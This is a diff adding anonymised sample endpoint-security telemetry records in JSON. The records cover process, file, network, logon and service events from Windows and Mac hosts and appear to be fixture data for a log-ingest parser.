+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"2071361595421","ContextThreadId":"41650430047375","ContextTimeStamp":"1604855146.590","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","FileObject":"18446622606546437424","IrpFlags":"395312","MajorFunction":"6","MinorFunction":"0","NewFileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","OperationFlags":"0","SourceFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll","aid":"ffffffff280b41b956a91e816bd9b9b0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8162-0663305b686f","name":"NewExecutableRenamedV6","timestamp":"1604855177513"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"402097454","ContextProcessId":"66601077523","ContextThreadId":"2500785639062","ContextTimeStamp":"1604855165.213","DesiredAccess":"1048577","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700","FileObject":"18446641334185168032","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"35668001","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU","aid":"ffffffff2c9f4066b0b5f2f00265503c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DirectoryCreate","id":"ffffffff-1111-11eb-9411-06b7c99be087","name":"DirectoryCreateV1","timestamp":"1604855180332"}
+{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextTimeStamp":"1604855196.468","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"949196415400","RpcClientThreadId":"44209361549673","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"wlidsvc","TargetProcessId":"955370934902","TokenType":"1","UserName":"user6","aid":"fffffffffcc4413057adc260e99b0774","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ServiceStarted","id":"ffffffff-1111-11eb-9c98-02c501fe7d81","name":"ServiceStartedV2","timestamp":"1604855196635"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"319255017313886870","ContextTimeStamp":"1604855200.751","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"0","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:1","RemotePort":"2181","aid":"ffffffffed0f41575620ab9fb25ce105","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-81f1-061cdebbd115","name":"NetworkConnectIP6MacV5","timestamp":"1604855200836"}
+{"AuthenticationId":"1656178821","AuthenticationPackage":"Kerberos","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"30254389526587","ContextThreadId":"275230771323179","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"dom1","LogonId":"1656178821","LogonServer":"srv1","LogonTime":"1604855211.249","LogonType":"5","PasswordLastSet":"1530626210.104","RemoteAccount":"1","SessionId":"0","UserCanonical":"","UserFlags":"32","UserIsAdmin":"0","UserLogonFlags":"0","UserName":"user7","UserPrincipal":"user7@dom4.cm","UserSid":"S-1-5-21-606747145-1364589140-725345543-183372","aid":"ffffffff73164cfa9656c4caff8a2a38","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-86e3-02db1faa1327","name":"UserIdentityV2","timestamp":"1604855212031"}
+{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"4193986770","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","ImageSubsystem":"2","IntegrityLevel":"16384","MD5HashData":"8a0a29438052faed8a2532da50455756","ParentAuthenticationId":"999","ParentProcessId":"2881931477041","ProcessCreateFlags":"525324","ProcessEndTime":"","ProcessParameterFlags":"8193","ProcessStartTime":"1604842733.215","ProcessSxsFlags":"64","RawProcessId":"6160","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6","SessionId":"0","SourceProcessId":"2881931477041","SourceThreadId":"70316664105336","Tags":"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297","TargetProcessId":"2882232404222","TokenType":"2","UserSid":"S-1-5-18","WindowFlags":"128","aid":"ffffffffbe8a46386afe80c5ef64d0b5","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-b4f9-06e3a7e5503b","name":"ProcessRollup2V16","timestamp":"1604855237946"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"1016182570608","ContextThreadId":"37343520154472","ContextTimeStamp":"1604829512.519","DesiredAccess":"1179785","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00","FileObject":"18446670458156489088","Information":"1","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"16777312","ShareAccess":"5","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx","aid":"ffffffffac4148947ed68497e89f3308","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RansomwareOpenFile","id":"ffffffff-1111-11eb-9756-06fe7f8f682f","name":"RansomwareOpenFileV4","timestamp":"1604855242091"}
+{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"13532","ConHostProcessId":"1731198143955","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"2030177841","ContextData":"","ContextProcessId":"1741732942772","ContextThreadId":"28523520529271","ContextTimeStamp":"1604855274.377","CycleTime":"473618996","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"0","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"0","GenericFileWrittenCount":"0","ImageSubsystem":"2","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"1406250","MaxThreadCount":"16","ModuleLoadCount":"72","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"1731198143955","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855154.465","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"18176","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"1741732942772","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-12-1-1647509123-1308660782-3901357462-3999411581","UserTime":"781250","aid":"fffffffffdab492a5a20cd0417395a73","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-b685-0241eaddc553","name":"EndOfProcessV14","timestamp":"1604855276657"}
+{"AuthenticationId":"895027","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1786917081743","ContextThreadId":"31685015444484","ContextTimeStamp":"1604855317.892","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"0000000000000000be341bb58bc5f1f2a24339010200510e","FileObject":"18446636933702558240","IrpFlags":"1028","IsOnNetwork":"1","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"223989","TargetFileName":"\\Device\\Mup\\intranet.dev\\int\\Test.pptx","TokenType":"1","aid":"fffffffffa474d216472f3edb73c75ed","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"OoxmlFileWritten","id":"ffffffff-1111-11eb-9165-067ee18a7975","name":"OoxmlFileWrittenV11","timestamp":"1604855329571"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"439029805661","ContextThreadId":"273683743193497","ContextTimeStamp":"1604855351.158","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"50373","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffff1f924e228a807ea4c0f21b0b","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-85f5-02ab029194b9","name":"NetworkListenIP6V5","timestamp":"1604855351798"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","ContextProcessId":"321365562189152025","ContextThreadId":"0","ContextTimeStamp":"1604846070.744","Entitlements":"15","SHA256HashData":"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d","Size":"29646","TargetFileName":"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc","VnodeModificationType":"10","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"AsepFileChange","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"AsepFileChangeMacV2","timestamp":"1604855355495"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"2932136","ContextThreadId":"36157339485804","ContextTimeStamp":"1604855191.803","EffectiveTransmissionClass":"2","Entitlements":"15","LogonTime":"","PasswordLastSet":"","UserLogonFlags":"1","UserName":"user7","UserSid":"S-1-5-10","aid":"ffffffffa5bd4efaa195a7132c576edc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed","id":"ffffffff-1111-11eb-aa5a-0207e26418af","name":"UserLogonFailedV1","timestamp":"1604855193422"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1858880895","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"56042872298","ContextTimeStamp":"1604855136.669","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"49689","Protocol":"6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemotePort":"443","aid":"ffffffff6854438eb4181691ec47e43d","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-a889-061944805289","name":"NetworkConnectIP6V5","timestamp":"1604855199798"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"321382909294815631","ContextThreadId":"0","ContextTimeStamp":"1604853755.987","Entitlements":"15","SHA256HashData":"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583","Size":"165","SourceFileName":"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq","TargetFileName":"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478","aid":"ffffffffc07b49d6b7426e970523671a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8773-06939a2f0915","name":"NewExecutableRenamedMacV1","timestamp":"1604855213224"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321367236803434269","ContextTimeStamp":"1604855268.323","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"51076","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffffa60a47af4ebd2a76070f0d4f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-9a50-0669ff09604d","name":"NetworkListenIP6MacV5","timestamp":"1604855268755"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ContextProcessId":"1611521722601","ContextThreadId":"53405065993811","ContextTimeStamp":"1604855280.307","DomainName":"raw.githubusercontent.com","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff6d724d38af99c628fb904626","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"SuspiciousDnsRequest","id":"ffffffff-1111-11eb-885e-02ac336efd4b","name":"SuspiciousDnsRequestV2","timestamp":"1604855323217"}
+{"ConfigBuild":"100.3.0011603.1","ContextProcessId":"4492535979973","ContextThreadId":"14023068415125","ContextTimeStamp":"1604855315.034","DiskParentDeviceInstanceId":"PCI\\VEN_8086\u0026DEV_31E3\u0026SUBSYS_080C1028\u0026REV_03\\3\u002611583659\u00260\u002690","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeDeviceCharacteristics":"131072","VolumeDeviceObjectFlags":"134479872","VolumeDeviceType":"8","VolumeDriveLetter":"C:","VolumeFileSystemDevice":"\\Ntfs","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","VolumeFileSystemType":"2","VolumeIsEncrypted":"0","VolumeMountPoint":"\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}","VolumeName":"\\Device\\HarddiskVolume4","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","aid":"ffffffff1990483499a736373600eef7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeMounted","id":"ffffffff-1111-11eb-9be9-024459b713c5","name":"FsVolumeMountedV6","timestamp":"1604855329102"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321210562584146513","ContextTimeStamp":"1604855127.011","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"53","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffe5ff467b4f0c4fd41a4462bb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-ae74-065212970c5d","name":"NetworkListenIP4MacV5","timestamp":"1604855128936"}
+{"AuthenticationId":"999","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855185.108","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"219053851298","RpcClientThreadId":"22047924482692","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"gpsvc","TargetProcessId":"224116976578","TargetThreadId":"22920092479704","TokenType":"1","UserName":"user7","aid":"ffffffff59514ea68b4693ddfb9b6643","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStarted","id":"ffffffff-1111-11eb-860c-0606af112d55","name":"HostedServiceStartedV2","timestamp":"1604855184068"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855299.018","EffectiveTransmissionClass":"3","Entitlements":"15","ServiceDisplayName":"wuauserv","TargetProcessId":"661455186053","TargetThreadId":"24238019995551","aid":"ffffffff2b5a4bf5afc6682595faa016","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStopped","id":"ffffffff-1111-11eb-9b11-0602a5689467","name":"HostedServiceStoppedV1","timestamp":"1604855302512"}
+{"AuthenticationId":"3443175","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1091372257857","ContextThreadId":"36855848099771","ContextTimeStamp":"1604855227.625","DiskParentDeviceInstanceId":"PCI\\VEN_1179\u0026DEV_0113\u0026SUBSYS_00011179\u0026REV_01\\4\u00263ad42678\u00260\u002600E0","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100","FileObject":"18446603341701082336","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"288041","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial","TokenType":"1","aid":"ffffffff32cb4abc50bc133b31a69946","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PdfFileWritten","id":"ffffffff-1111-11eb-baea-02dccfbb7779","name":"PdfFileWrittenV11","timestamp":"1604855264313"}
+{"AuthenticationId":"3783389","CommandLine":"\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca","ConfigBuild":"1007.3.0012309.1","ConfigStateHash":"3998263252","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe","ImageSubsystem":"2","IntegrityLevel":"4096","MD5HashData":"50d5fd1290d94d46acca0585311e74d5","ParentAuthenticationId":"3783389","ParentBaseFileName":"svchost.exe","ParentProcessId":"2439558094566","ProcessCreateFlags":"525332","ProcessEndTime":"","ProcessParameterFlags":"16385","ProcessStartTime":"1604855181.648","ProcessSxsFlags":"1600","RawProcessId":"22272","RpcClientProcessId":"2439558094566","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37","SessionId":"1","SourceProcessId":"2439558094566","SourceThreadId":"77538684027214","Tags":"41, 12094627905582, 12094627906234","TargetProcessId":"2450046082233","TokenType":"2","UserSid":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","WindowFlags":"128","aid":"ffffffff655344736aca58d17fb570f0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-8462-02ade3b2f949","name":"ProcessRollup2V18","timestamp":"1604855182022"}
+{"AuthenticationId":"326190744","AuthenticationUuid":"98467113-C771-4845-B71B-89B3CE9F93C9","AuthenticationUuidAsString":"13714698-71C7-4548-B71B-89B3CE9F93C9","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","Entitlements":"15","UID":"326190744","UserPrincipal":"user8@dom6","UserSid":"S-1-5-21-3629339319-2376021926-2724479216-652382488","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"UserIdentityMacV2","timestamp":"1604855355388"}
+{"BootArgs":" NOEXECUTE=OPTIN  HYPERVISORLAUNCHTYPE=AUTO  FVEBOOT=2125824  NOVGA","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1874387338","EffectiveTransmissionClass":"0","Entitlements":"15","MachineDomain":"","aid":"ffffffffcdb543135e7fcdf8e5a8fbdb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostInfo","id":"ffffffff-1111-11eb-9bbd-061290dcd983","name":"HostInfoV2","timestamp":"1604855157555"}
+{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"}
+{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"}
+{"AgentLoadFlags":"0","AgentLocalTime":"1636436839.9529998","AgentTimeOffset":"125.319","AgentVersion":"6.31.14404.0","BiosManufacturer":"Apple Inc.","BiosVersion":"1554.140.20.0.0 (iBridge: 18.16.14759.0.1,0)","ChassisType":"Laptop","City":"San Francisco","ComputerName":"mac1","ConfigBuild":"1007.4.0014404.1","ConfigIDBuild":"14404","Continent":"North America","Country":"United States","FalconGroupingTags":"-","FirstSeen":"1625682391.0","HostHiddenStatus":"Visible","MachineDomain":"none","OU":"none","PointerSize":"none","ProductType":"1","SensorGroupingTags":"-","ServicePackMajor":"none","SiteName":"none","SystemManufacturer":"Apple Inc.","SystemProductName":"MacBookPro16,2","Time":"1636448427.3539999","Timezone":"America/Los_Angeles","Version":"Big Sur (11.0)","aid":"fffffffffffaaaaaaaaabbbbbbbb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022ff","event_platform":"Mac"}
+{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","UTCTimestamp":"1604855134461"}
+{"ProcessCreateFlags":"1024","IntegrityLevel":"8192","ParentProcessId":"434985540832797032","SourceProcessId":"434985540832797032","aip":"89.160.20.120","SHA1HashData":"0000000000000000000000000000000000000000","UserSid":"S-1-5-21-4084637156-299436391-3671333128-115430","event_platform":"Win","TokenType":"2","ProcessEndTime":"","ParentBaseFileName":"EmUser.exe","ImageSubsystem":"2","id":"9686a6b3-1d39-11ed-9370-0660bfa16adf","EffectiveTransmissionClass":"3","SessionId":"1","Tags":"25, 27, 862, 874, 924, 12094627905582, 12094627906234","timestamp":"1660636869410","event_simpleName":"ProcessRollup2","RawProcessId":"6108","ConfigStateHash":"518095218","MD5HashData":"e570911fc2ab74ecf0dc59f324318f6e","SHA256HashData":"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2","ProcessSxsFlags":"64","AuthenticationId":"29530993","ConfigBuild":"1007.3.0015103.1","CommandLine":"\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all","ParentAuthenticationId":"29530993","TargetProcessId":"434985669758362104","ImageFileName":"\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe","SourceThreadId":"434985668331321297","Entitlements":"15","name":"ProcessRollup2V19","ProcessStartTime":"1660636868.576","ProcessParameterFlags":"24577","aid":"50deaa55144543089a1f463b568cdc53","cid":"1301ac65ae144fbb9689a8472f828c2e"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":133145666190000000,"EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812","StartTime":133145665200000000,"EndTime":133145665200000000}
+{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812","StartTime":133145665200000000,"EndTime":133145665200000000}
